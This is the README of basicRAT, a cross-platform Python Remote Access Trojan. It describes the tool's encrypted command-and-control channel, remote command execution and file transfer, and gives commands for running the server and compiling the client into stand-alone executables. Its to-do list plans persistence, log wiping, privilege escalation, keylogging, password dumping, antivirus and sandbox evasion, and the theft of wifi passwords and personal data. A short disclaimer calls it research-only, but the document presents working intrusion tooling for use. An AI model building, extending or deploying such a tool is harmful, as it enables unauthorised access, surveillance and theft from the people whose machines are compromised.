basicRAT

This is a cross-platform Python Remote Access Trojan (RAT), basicRAT was created to maintain a clean design full-featured Python RAT. Currently a work in progress and still being actively hacked on.

Disclaimer: This RAT is for research purposes only, and should only be used on authorized systems. Accessing a computer system or network without authorization or explicit permission is illegal.

Features

• Cross-platform (Windows, Linux, and macOS)
• AES GCM encrypted C2 with D-H exchange
• Accepts connection from multiple clients
• Command execution
• File upload/download
• Standard utilities (wget, unzip)
• System survey

Usage

$ python basicRAT_server.py --port 1337

Build a stand-alone executable

Keep in mind that before building you will likely want to modify both the HOST and PORT variables located at the top of basicRAT_client.py to fit your needs.

On Linux you will need Python 2.x, PyInstaller, and pycrypto. Then run something like pyinstaller2 --onefile basicRAT_client.py and it should generate a dist/ folder that contains a stand-alone ELF executable.

On Windows you will need Python 2.x, PyInstaller, pycrypto, pywin32, and pefile. Then run something like C:\path\to\PyInstaller-3.2\PyInstaller-3.2\pyinstaller.py --onefile basicRAT_client.py and it should generate a dist/ folder that contains a stand-alone PE (portable executable).

Todo

• Interactive shell
• Client periodic connection attempt
• Client binary generation tool (cross-platform)
  • Pyinstaller
  • Switch options for remote IP, port, etc
• Persistence (cross-platform)
  • Windows: Registry keys, WMIC, Startup Dir
  • Linux: cron jobs, services, modprobe
  • macOS: LaunchAgent, LaunchDaemons
• Self-destruct (remove the RAT entirely)
• Privilege Escalation (getsystem-esque, dirty cow)
• Common C2 Protocols (HTTP, DNS)
• Clean log files
  • Linux: bash history, var logs, audit logs, etc
  • Windows: Event logs, prefetch, etc
• Screenshot
• Keylogger
• Expand toolkit (unrar, sysinfo)
• Scanning utilities (probe scan / ping sweep, scanning subnet)
• Password dumping (mimikatz / gsecdump)
• Tunneling / Pivoting (ssh)
• Anti-virus detection and evasion
• VM and Sandbox detection
• Exfil browser history
• Search file system for sensitive information using regex
  • addresses, credit cards numbers, socials, PII, etc
• Detect web cameras and take snapshots
• Steal wifi passwords
